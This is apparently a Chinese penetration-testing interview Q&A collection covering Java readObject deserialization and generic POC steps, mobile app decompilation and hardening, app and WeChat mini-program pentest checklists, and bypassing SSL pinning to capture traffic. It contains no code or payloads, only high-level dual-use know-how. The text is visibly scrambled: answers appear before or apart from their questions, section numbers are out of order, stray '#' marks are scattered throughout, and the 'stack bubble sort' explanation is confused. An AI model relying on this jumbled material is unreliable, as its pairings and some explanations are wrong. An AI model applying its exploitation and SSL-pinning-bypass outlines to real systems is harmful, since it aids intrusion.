综合使用 HTML、CSS 和 JavaScript 可以实现非常丰富和复杂的网页应用程序,例如响应式网页设计、单页应用程序、Web 游戏等。
readObject 是 Java 中用于反序列化对象的方法,用于将字节流转化为对象。如果攻击者成功地将恶意对象序列化并传递给应用程序,那么在应用程序使用 readObject 反序列化 该对象时,攻击者就可以在目标系统上执行任意代码,甚至获取系统权限。这种攻击方式被称为 Java 反序列化漏洞,是一种常见的安全威胁。
利用 Java 反序列化漏洞编写 POC 的方法可以参照以下步骤:
1.构造一个恶意对象,并将其序列化为字节流。
2.将序列化后的字节流传递给应用程序,触发 readObject 方法进行反序列化操作。
3.在反序列化的过程中,执行恶意代码,例如获取系统权限或者执行任意系统命令等。在编写 POC 的过程中,需要了解目标应用程序的反序列化实现细节,例如使用了哪些类、 反序列化时是否执行了构造函数等,以便构造出有效的攻击载荷。
Java 多态是指在面向对象编程中,同一类型的对象在不同的情况下表现出不同的行为和特征。Java 多态主要通过继承和接口实现,它包括两种形式:静态多态和动态多态。静态 多态是指方法重载,它通过方法名相同但参数不同的方式,实现了同一方法名对应多个方法的效果。静态多态在编译期就可以确定调用哪个方法,因此也被称为编译期多态。动 态多态是指方法重写,它通过子类覆盖父类方法的方式,实现了不同子类对象调用同一方法时表现不同的效果。动态多态在运行时才可以确定调用哪个方法,因此也被称为运行 时多态。在 Java 中,动态多态是非常重要的特性,它提高了代码的可扩展性和可维护性,也为程序员提供了更加灵活和高效的编程方式。
是的,我了解 APP 安全编译和反编译。#
APP 安全编译指的是在编译 APP 代码时采取一些安全措施,以降低 APP 被攻击的风险。例如,可以对代码进行混淆、加固、加密等操作,从而使攻击者难以理解和修改 APP 代#
码。另外,还可以对代码进行安全审计、漏洞检测等操作,及时发现并修复可能存在的安全漏洞。#
APP 反编译指的是将已编译的 APP 文件解析为源代码和资源文件的过程。通过反编译可以了解 APP 的实现细节和代码结构,从而进行安全审计、漏洞分析等操作。攻击者也可#
以通过反编译获取 APP 的源代码和敏感信息,从而进行恶意攻击。为了增强 APP 的安全性,可以采取一些措施来防止反编译,例如使用代码混淆工具、加密资源文件、使用#
DexGuard 等安全加固工具。此外,还可以使用签名机制、数字证书等技术来保证 APP 的可信性和完整性。
我了解 APP 的一些基本概念和技术。APP(Application)是指应用程序,是指在智能手机、平板电脑、电视盒子等移动设备上运行的软件程序。APP 可以提供各种各样的功能和 服务,例如社交、游戏、娱乐、工具等。APP 的开发需要使用特定的开发工具和技术,例如 Android Studio、Xcode、React Native 等。APP 的安全性也是非常重要的,APP 可 能存在各种安全问题,例如数据泄露、恶意代码、漏洞利用等,因此需要进行安全评估和测试,以及采取一些措施来提高 APP 的安全性,例如代码混淆、加固、加密等。此外, APP 的发布和推广也是非常重要的,需要考虑到用户体验和市场需求,以及遵守相关法律法规和政策规定。
二十六、了解过 xml 文档吗?xml 文档结构是什么样的?出栈冒泡排序的逻辑怎么做?#
1. 定义一个栈和一个数组,将待排序的元素依次压入栈中。#
2. 从栈中弹出两个相邻的元素,比较它们的大小,如果前一个元素比后一个元素大,则交换它们的位置。#
3. 将交换后的元素重新压入栈中,直到所有元素都被压入栈中。#
4. 重复执行步骤 2 和 3 ,直到所有元素都按照从小到大的顺序排列。 需要注意的是,在实际应用中,出栈冒泡排序的效率比较低,因此一般不常用。如果需要对大规模数据进#
行排序,可以考虑使用更高效的排序算法,例如快速排序、归并排序等。#
二十七、懂 html css js 吗?#
二十八、看到 readObject 你能想到什么?怎么利用它写 Poc?说一下 java 多态#
第二十一章 APP#
一、APP 安全编译反编译这些你了解的多吗?#
二、app 了解多少?#
如果移动 APP 无法抓取网络包,可能有以下原因:#
没有实际参与过移动 APP 漏洞挖掘的工作。不过,我了解移动 APP 漏洞挖掘的基本概念和一些常见的漏洞类型。#
移动 APP 漏洞通常包括以下几种类型:#
1.认证与授权漏洞:包括密码明文传输、无效的会话管理、越权访问等漏洞。#
2.数据泄露漏洞:包括未加密的数据传输、敏感信息存储不当、恶意应用程序窃取数据等漏洞。#
3.恶意代码漏洞:包括应用程序中包含恶意代码、应用程序被劫持、应用程序下载渠道不安全等漏洞。#
4.安全配置漏洞:包括未启用安全机制、未及时更新版本、未禁用调试模式等漏洞。#
5.逻辑漏洞:包括未经身份验证的操作、未受保护的 API、不安全的数据存储等漏洞。 在挖掘移动 APP 漏洞时,需要使用一些常见的工具和技术,例如反编译工具、代码分析工#
具、网络抓包工具、模拟器等。同时,需要对移动 APP 的安全机制和开发技术有一定的了解,以便快速发现并利用漏洞。挖掘移动 APP 漏洞需要具备一定的技术和经验,同时也#
需要遵守相关法律法规和道德准则。#
对于微信公众号,通常的渗透测试方法包括以下几个方面:#
1.信息搜集:通过搜索引擎、社交媒体、企业信息公示网等渠道,获取公众号的相关信息,包括运营者信息、网站架构、接口地址等。#
2.漏洞扫描:使用漏洞扫描工具,扫描公众号存在的漏洞,包括 SQL 注入、XSS 攻击、文件上传漏洞等。#
3.认证与授权测试:测试公众号的认证与授权机制,包括密码强度、会话管理、权限控制等方面。#
4.勒索、篡改、拒绝服务攻击测试:测试公众号是否容易受到勒索、篡改、拒绝服务等攻击。#
对于微信小程序,渗透测试的方法类似于 APP 渗透测试,需要考虑以下几个方面:#
1.安全配置测试:测试小程序是否启用了安全机制,包括 HTTPS 传输、数据加密、签名校验等。#
2.认证与授权测试:测试小程序的认证与授权机制,包括密码强度、会话管理、权限控制等方面。#
3.数据存储测试:测试小程序如何存储用户数据,包括是否加密、是否存储在安全的服务器上等。#
4.网络协议测试:测试小程序使用的网络协议是否存在安全漏洞,包括 TCP/IP、HTTP、HTTPS 等。#
5.代码审计:对小程序的代码进行审计,查找是否存在安全漏洞,包括代码注入、逻辑漏洞、权限提升等。#
小程序和 APP 渗透测试的方法类似,需要考虑以下几个方面:#
1.安全配置测试:测试应用程序是否启用了安全机制,包括 HTTPS 传输、数据加密、签名校验等。#
2.认证与授权测试:测试应用程序的认证与授权机制,包括密码强度、会话管理、权限控制等方面。#
3.数据存储测试:测试应用程序如何存储用户数据,包括是否加密、是否存储在安全的服务器上等。#
4.网络协议测试:测试应用程序使用的网络协议是否存在安全漏洞,包括 TCP/IP、HTTP、HTTPS 等。#
5.代码审计:对应用程序的代码进行审计,查找是否存在安全漏洞,包括代码注入、逻辑漏洞、权限提升等。#
如果证书相互认证失效了,可以尝试以下方法解决:#
三、移动 app 抓不到包怎么办?#
1. SSL Pinning:应用程序可能实现了 SSL Pinning,这是一种安全机制,用于防止通过中间人攻击来获取应用程序与服务器之间的通信数据。这时候可以尝试绕过 SSL
Pinning,或者使用代理工具来解密 SSL 通信。
2. VPN:如果应用程序使用 VPN 技术来保护数据传输,那么抓包工具可能无法抓取到数据包。这时候可以尝试在 VPN 外部进行抓包。
3. 网络环境:如果应用程序只在某些网络环境下无法抓包,那么可能是因为网络环境存在某些限制,例如防火墙、路由器设置等。这时候可以尝试更换网络环境或者调整网络
设置。
4. 应用程序本身的问题:如果应用程序本身存在缺陷或者漏洞,可能会导致应用程序无法正常抓取网络包。这时候可以尝试升级应用程序或者重新安装应用程序。